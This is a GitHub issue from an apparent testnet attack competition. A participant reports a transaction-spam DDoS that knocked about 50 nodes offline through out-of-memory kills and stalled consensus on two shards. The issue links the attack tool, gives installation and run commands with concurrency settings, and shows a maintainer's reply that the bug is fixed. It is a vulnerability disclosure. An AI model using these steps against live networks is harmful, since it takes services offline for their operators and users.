Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[ATTACK] Tx spam DDoS/OOM-reaping attack #1926

Closed
chainum opened this issue Jun 11, 2020 · 1 comment
Closed

[ATTACK] Tx spam DDoS/OOM-reaping attack #1926

chainum opened this issue Jun 11, 2020 · 1 comment
Labels
type:bug Something isn't working

Comments

@chainum
Copy link

chainum commented Jun 11, 2020

Preface: At the time the attack was tested there wasn't any official announcements explicitly declaring that attacks were prohibited until the 15th.

It seems it was just implicitly assumed since the registrations were extended - but it was never fully explicitly communicated that the deadline for attacks had also been extended. So according to official announcements attacks still seemed to be good to go for the 9th, hence why I experimented with the attack.

FYI:

  1. I was fully unaware that the deadline had implicitly been moved to the 15th, and
  2. was unaware that testing my attack would negatively effect node/network measurements (sorry about that), and
  3. that anti-flooding was disabled, and finally,
  4. I wasn't actually intending to fully launch the attack yesterday (I just ran it briefly) - it was intended as a test (to get Ed25519 signing to work properly), but since @LucianMincu was curious about what was going on in the validator chat, I decided to reach out and explain that I was testing my tool.

With this stuff out of the way, the actual attack:

Tx spam/DDoS -> Node OOM-reaping

This is pretty much very similar to the previous OOM/spam attack I did back in last Battle of Nodes, basically:

  1. Mass spam txs with huge payloads
  2. Consensus eventually gets affected (I could temporarily stop consensus on Shard 0 & 1 yesterday while I fully tested the attack)
  3. Nodes get OOM-reaped / go offline

I did write a new tool from scratch tho this time around (which leverages a separate Elrond Golang SDK I made) to perform the attack.

The plan for the tool wasn't to just simply repeat the old DDoS/OOM attack - but I'll leave the original attack idea for the 15th and onwards (now that there's an official - explicit - announcement about when attacks can start).

Code is available here:
Attack tool: https://github.com/SebastianJ/elrond-stress
SDK: https://github.com/SebastianJ/elrond-sdk
CLI: https://github.com/SebastianJ/elrond-cli

How to perform the attack:

Installation:

  1. git clone https://github.com/SebastianJ/elrond-stress.git && cd elrond-stress
  2. make clean && make all
  3. mkdir -p keys data configs
  4. Put a bunch of funded wallets/.pem certs in keys/
  5. Add a bunch of erd address targets to data/receivers.txt
  6. Add a tx payload to data/data.txt - I used this
  7. Download the latest p2p economics.toml file from ElrondNetwork/elrond-config and place it in configs/economics.toml: curl -o configs/economics.toml https://raw.githubusercontent.com/ElrondNetwork/elrond-config/master/economics.toml

Usage:

Regular usage (using Elrond's API:s):

./dist/stress txs --concurrency 100

Custom usage (using local nodes):

./dist/stress txs --endpoint http://localhost:8080,http://localhost:8081,http://localhost:8082,http://localhost:8083,http://localhost:8084,http://localhost:8085 --concurrency 1000

Effectiveness:

I briefly ran the attack while testing it yesterday and also did a quick session earlier this morning (UTC).

Yesterday I could stop consensus on shard 0 & shard 1 while the attack was running (I stopped the last iteration of the attack after ~15 minutes or so - shards eventually recovered):
Screenshot 2020-06-11 at 01 24 19
Screenshot 2020-06-11 at 01 24 24

About 50 nodes or so also went offline because of the attack:
Screenshot 2020-06-10 at 17 29 29
Screenshot 2020-06-11 at 01 22 41

I also ran the attack for like ~20 minutes or so this morning to investigate memory usage, and during that time about ~40 nodes also went offline:
Screenshot 2020-06-11 at 09 07 59
Screenshot 2020-06-11 at 09 38 27

Do note that the network was running WITHOUT anti-flooding enabled when I experimented with the attack / tested my tool.

It could very well be that this attack vector is fully mitigated when anti-flooding is enabled again.

I'll sync with @LucianMincu to run additional testing & update this ticket with the results from running the attack with anti-flooding enabled.

@chainum chainum added the type:bug Something isn't working label Jun 11, 2020
@iulianpascalau
Copy link
Contributor

Should be fixed as of today with the v1.1.0. Thanks for the effort!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
type:bug Something isn't working
Projects
None yet
Development

No branches or pull requests

2 participants